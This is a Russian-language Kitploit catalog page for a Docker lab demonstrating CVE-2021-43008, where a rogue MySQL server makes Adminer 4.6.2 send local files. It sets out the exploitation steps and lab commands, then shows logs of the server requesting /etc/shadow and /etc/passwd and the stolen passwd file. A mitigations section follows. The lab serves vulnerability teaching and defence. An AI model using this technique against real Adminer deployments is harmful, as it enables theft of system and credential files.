Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
adminer_CVE-2021-43008 — Демонстрационная среда для уязвимости CVE-2021-43008 в Adminer: наблюдение реального воздействия и тестирование мер по смягчению. | Kitploit
Инструменты/GitHubGitHub/bamolitho/adminer_cve-2021-43008
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийОбучение и ОбразованиеБезопасность Баз ДанныхЛаборатории и Практика
GitHubbamolitho/adminer_cve-2021-43008

adminer_CVE-2021-43008

Демонстрационная среда для уязвимости CVE-2021-43008 в Adminer: наблюдение реального воздействия и тестирование мер по смягчению.

Репозиторий
139 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2021-43008 — Уязвимость Adminer

Произвольное чтение файлов через вредоносный сервер MySQL

1. Что такое Adminer?

Adminer — это веб-инструмент (PHP) для удобного администрирования баз данных MySQL, PostgreSQL, SQLite или SQL Server. Он часто используется как легковесная альтернатива phpMyAdmin.

Затрагиваемые версии: Adminer ≤ 4.6.2


2. В чем заключается уязвимость?

2.1. Отказ в контроле доступа

Adminer разрешает подключение к любому удаленному серверу MySQL. Однако при подключении к серверу MySQL клиент (здесь Adminer) принимает:

  • набор начальных инструкций от сервера,
  • включая команду LOAD DATA LOCAL INFILE, которая позволяет серверу попросить клиента отправить ему локальный файл.
  • 2.2. Проблема

    Adminer не проверяет должным образом ответы сервера MySQL в уязвимых версиях.

    Результат:

    «Прочитай этот локальный файл на машине или контейнере, где работает Adminer, и отправь его мне.»

    Этот механизм связан с пакетом MySQL: 0xFB | filename → запускает локальное чтение файла.

    Почему версия 4.6.2 уязвима

    Adminer 4.6.2 позволял пользователю указать внешний сервер MySQL и свободно подключаться к нему. Однако MySQL также по умолчанию разрешал использование:

    • LOAD DATA LOCAL INFILE
    • в автоматическом режиме, когда некоторые серверы запрашивали файл.

    Итак: Adminer → подключается к вредоносному серверу → вредоносный сервер запрашивает файл → Adminer отправляет его.

    В этом и заключается суть уязвимости.


    3. Условия эксплуатации

    Злоумышленник должен:

    1. Разместить вредоносный сервер MySQL (Rogue MySQL Server).
    2. Заставить Adminer подключиться к своему серверу:
      • из-за ошибки конфигурации,
      • через публично доступный интерфейс,
      • через действие пользователя (атака типа «supply host»).
    3. Вредоносный сервер MySQL отправляет пакет LOAD DATA LOCAL INFILE.
    4. Adminer читает локальный файл.
    5. Файл отправляется злоумышленнику.

    Для кражи локального файла не требуется root-пароль: Adminer выполняет это действие как PHP-приложение на целевом сервере.


    4. Последствия уязвимости

    4.1. Нарушение конфиденциальности

    Злоумышленник может:

    • прочитать /etc/passwd (объекта, на котором работает Adminer: хост-машина или контейнер),
    • прочитать /etc/shadow (в зависимости от прав пользователя PHP),
    • получить файлы конфигурации,
    • украсть учетные данные для подключения к MySQL,
    • извлечь всю информацию, доступную веб-пользователю.

    4.2. Эскалация воздействия

    С украденными учетными данными MySQL (вторичный этап) он может затем:

    • подключиться к реальной внутренней базе данных,
    • читать данные,
    • записывать в таблицы,
    • внедрять вредоносные нагрузки.

    5. Практическая демонстрация (PoC) — Архитектура лаборатории

    PoC проводится в изолированной и контейнеризованной среде, чтобы избежать рисков.

    5.1. Компоненты лаборатории

    1. Уязвимый Adminer (версия 4.6.2) Роль: жертва Доступен локально через localhost:8080
    2. Легитимный MySQL (опционально) Роль: имитация реальной базы данных
    3. Вредоносный MySQL сервер (Python) Роль: злоумышленник Он отправляет пакеты 0xFB filename, чтобы заставить Adminer прочитать локальный файл.

    5.2. Структура папки

    root@kitploit:~
    adminer_CVE-2021-43008/
    │
    ├── README.md
    ├── docker-compose.yml
    │
    └──rogue_mysql_server/
    	├── rogue_mysql_server.py
    	├── requirements.txt
    	└── Dockerfile
    

    6. Проведение PoC: как проявляется уязвимость?

    6.1. Запуск лаборатории

    root@kitploit:~
    docker compose build && docker compose up -d
    

    6.2. Подключение из Adminer к Rogue Server

    В http://localhost:8080:

    • Система: MySQL
    • Сервер: rogue_mysql:33306
    • Пользователь: любой
    • Пароль: любой

    6.3. Автоматическое выполнение

    1. Adminer отправляет handshake.
    2. Вредоносный MySQL отправляет LOAD DATA LOCAL INFILE '/etc/passwd'.
    3. Adminer читает /etc/passwd.
    4. Adminer отправляет его содержимое вредоносному серверу.
    5. Вредоносный сервер сохраняет текст в stolen_file.txt.

    6.4. Наблюдаемый результат

    Используйте следующую команду для просмотра логов вредоносного сервера:

    root@kitploit:~
    docker logs -f rogue_mysql
    

    Ожидаемый результат:

    root@kitploit:~
    2025-11-27 16:59:54,248:INFO:Serving on ('0.0.0.0', 33306)
    2025-11-27 17:02:55,213:INFO:Conn from: ('172.18.0.3', 37200)
    2025-11-27 17:02:55,214:INFO:Last packet
    2025-11-27 17:02:55,214:INFO:Query
    2025-11-27 17:02:55,214:INFO:Requesting file: /etc/shadow
    2025-11-27 17:02:55,215:INFO:-- Received file data
    2025-11-27 17:02:55,215:INFO:Result length: 1 bytes
    2025-11-27 17:02:55,215:INFO:Last packet
    2025-11-27 17:02:55,216:INFO:Query
    2025-11-27 17:02:55,216:INFO:Requesting file: /etc/passwd
    2025-11-27 17:02:55,216:INFO:-- Received file data
    2025-11-27 17:02:55,217:INFO:Result length: 920 bytes
    2025-11-27 17:02:55,217:INFO:File content received: 919 bytes
    2025-11-27 17:02:55,217:INFO:File saved to stolen_file.txt
    

    Просмотр содержимого файла stolen_file.txt:

    root@kitploit:~
    docker exec -it rogue_mysql sh
    

    Попав внутрь контейнера, вы сможете просмотреть содержимое файлов, включая stolen_file.txt

    root@kitploit:~
    # ls
    mysql.log  requirements.txt  rogue_mysql_server.py  stolen_file.txt
    
    root@kitploit:~
    # cat stolen_file.txt
    

    Результат:

    root@kitploit:~
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    _apt:x:100:65534::/nonexistent:/bin/false
    

    Этот результат однозначно демонстрирует уязвимость.

    7. Меры по смягчению

    A. Обновление Adminer (этого одного достаточно)

    Самое надежное решение: Перейти на Adminer ≥ 4.6.3

    Последующие версии исправляют сетевое поведение.

    Что было исправлено в следующих версиях

    Начиная с Adminer 4.7.x, было введено несколько защитных мер:

    Adminer теперь по умолчанию запрещает LOAD DATA LOCAL INFILE

    А именно:

    • полностью отключено
    • или включено только при явном разрешении пользователя

    → Результат: ваш вредоносный MySQL больше не может красть файлы.

    Adminer фильтрует действия клиента перед отправкой на сервер

    Это предотвращает использование опасных функций внешними подключениями.

    Дополнительные механизмы проверки ввода

    Новые версии проверяют:

    • является ли целевой сервер ожидаемым
    • не является ли действие опасным
    • соответствует ли запрос легитимному действию пользователя

    B. Отключение внешних подключений

    Ограничить Adminer только внутренними хостами:

    • через брандмауэр (OUTPUT + СЕТИ DOCKER),
    • через фильтрующий обратный прокси,
    • через строго локализованную сетевую конфигурацию.

    Production Adminer всегда должен указывать на внутренний MySQL.


    C. Отключение LOCAL INFILE на стороне MySQL

    Предотвращает кражу через легитимный MySQL-клиент:

    root@kitploit:~
    [mysqld]
    local_infile=0
    

    или:

    root@kitploit:~
    SET GLOBAL local_infile=0;
    

    D. Никогда не открывайте Adminer публично

    Adminer не должен быть доступен в Интернете.

    В производственной среде:

    • доступ ограничен через VPN,
    • SSO или строгая аутентификация,
    • автоматическое истечение срока действия.

    E. Удаление Adminer после использования

    Adminer следует рассматривать как временный инструмент:

    • его разворачивают для разовой задачи,
    • затем удаляют.

    8. Ресурсы и надежные источники

    • Исходный код используемого Python-скрипта: https://github.com/Gifts/Rogue-MySql-Server/blob/master/rogue_mysql_server.py
    • Официальный сайт Adminer https://www.adminer.org/en/
    • Sansec (первоначальная публикация) https://sansec.io/research/adminer-4.6.2-file-disclosure-vulnerability
    • Podalirius (технические объяснения + PoC) https://podalirius.net/en/cves/2021-43008/
    • vulhub: https://github.com/vulhub/vulhub/blob/master/adminer/CVE-2021-43008/

    9. Итоговое резюме

    CVE-2021-43008 — это критическая уязвимость в Adminer ≤ 4.6.2, которая позволяет:

    • злоумышленнику, контролирующему сервер MySQL,
    • заставить Adminer прочитать локальный файл,
    • а затем извлечь его содержимое злоумышленнику.

    Это отличная демонстрация важности:

    • сетевого контроля,
    • ограничений MySQL-клиента,
    • недопущения публичного доступа к инструментам администрирования,
    • управления версиями программного обеспечения.

    Скачать инструмент